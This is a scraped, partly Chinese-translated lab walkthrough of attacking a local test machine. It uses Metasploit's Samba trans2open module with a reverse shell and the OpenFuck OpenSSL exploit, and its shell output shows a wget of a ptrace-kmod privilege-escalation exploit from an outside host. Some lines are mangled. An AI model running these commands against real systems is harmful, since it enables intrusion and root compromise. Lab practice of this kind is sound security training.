Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86) 1 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86) 2 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC) 3 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
Interact with a module by name or index. For example info 3, use 3 or use exploit/solaris/samba/trans2open
use
From this list we can use the use command to choose a specific module and enter its context (make sure to choose one which matches the target):
1 2 3
msf6 > use 1 [*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp msf6 exploit(linux/samba/trans2open) >
options
现在我们的上下文已经设置好了,我们可以使用 options 来查看该模块有哪些可配置变量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
msf6 exploit(linux/samba/trans2open) > options
Module options (exploit/linux/samba/trans2open): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see <link> RPORT 139 yes The target port (TCP)
Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.0.2.4 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target: Id Name -- ---- 0 Samba 2.2.x - Bruteforce
要设置我们自己的有效负载,我们可以使用 set 命令。这给了metasploit一些东西来实际注入内存,我们可以通过这个buffer-overflow访问内存。要查看所有有效负载的列表,您可以开始输入 set payload,然后双击以查看所有可用选项:
1 2 3 4 5 6 7
msf6 exploit(linux/samba/trans2open) > set payload set payload generic/custom set payload generic/debug_trap set payload generic/shell_bind_aws_ssm set payload generic/shell_bind_tcp set payload generic/shell_reverse_tcp ...
在这种情况下,我们需要一个能够在 Linux 目标上成功执行的有效负载。
1 2 3 4 5 6 7 8 9 10
set payload linux/x86/samba/reverse_shell_tcp payload => linux/x86/shell_reverse_tcp msf6 exploit(linux/samba/trans2open) > run *] Started reverse TCP handler on 10.0.2.4:4444 [*] 10.0.2.5:139 - Trying return address 0xbffffdfc... [*] 10.0.2.5:139 - Trying return address 0xbffffcfc... [*] 10.0.2.5:139 - Trying return address 0xbffffbfc... [*] Command shell session 12 opened (10.0.2.4:4444 -> 10.0.2.5:32800) at 2023-09-30 16:43:23 -0400 whoami root # <--- output from target
A buffer-overflow vulnerability has been reported in some versions of OpenSSL. The issue occurs in the handling of the client key value during the negotiation of the SSLv2 protocol. A malicious client may be able to exploit this vulnerability to execute arbitrary code as the vulnerable server process or possibly to create a denial-of-service condition.
***UPDATE: A worm that likely exploits this vulnerability has been discovered propagating in the wild. Additionally, this code includes peer-to-peer and distributed denial-of-service capabilities. There have been numerous reports of intrusions in Europe. It is not yet confirmed whether this vulnerability is in OpenSSL, mod_ssl, or another component. Administrators are advised to upgrade to the most recent versions or to disable Apache, if possible, until more information is available. */ /* * VERY PRIV8 spabam SPAX@zone-h.org * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto * */ #include <arpa/inet.h> #include <netinet/in.h> #include <sys/types.h> ...
We can see from the output that we need to compile the code using gcc:
1 2 3 4 5 6 7
gcc -o openfuck 21671.c -lcrypto 21671.c:715:31: error: ‘SSL2_MAX_CONNECTION_ID_LENGTH’ undeclared here (not in a function); did you mean ‘SSL3_MAX_SSL_SESSION_ID_LENGTH’? 715 | unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH]; | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | SSL3_MAX_SSL_SESSION_ID_LENGTH 21671.c:723:9: error: unknown type name ‘RC4_KEY’ 723 | RC4_KEY* rc4_read_key;
******************************************************************* * OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open * ******************************************************************* * by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE * * #hackarena irc.brasnet.org * * TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname * * #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam * * #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ * *******************************************************************
: Usage: ./openfuck target box [port] [-c N]
target - supported box eg: 0x00 box - hostname or IP address port - port for ssl connection -c open N connections. (use range 40-50 if u dont know) Supported OffSet: 0x00 - Caldera OpenLinux (apache-1.3.26) 0x01 - Cobalt Sun 6.0 (apache-1.3.12) 0x02 - Cobalt Sun 6.0 (apache-1.3.20) ...
我们需要滚动目标的“支持的偏移量”:
1 2 3
... 0x60 - RedHat Linux 7.0 (apache-1.3.14-2) 0x61 - RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)
./openfuck 0x6b 10.0.2.5 -c 45 ./openfuck 0x6b 10.0.2.5 -c 45 ******************************************************************* * OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open * ...
Connection... 45 of 45 Establishing SSL connection cipher: 0x4043808c ciphers: 0x80f8100 Ready to send shellcode Spawning shell... bash: no job control in this shell bash-2.05$ d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo --07:58:31-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c => `ptrace-kmod.c` Connecting to dl.packetstormsecurity.net:443... connected!
Unable to establish SSL connection.
Unable to establish SSL connection. gcc: ptrace-kmod.c: No such file or directory gcc: No input files rm: cannot remove `ptrace-kmod.c`: No such file or directory bash: ./exploit: No such file or directory bash-2.05$ # <---- rev shell bash-2.05$ whoami# <---- our test command whoami apache # <---- output on target machine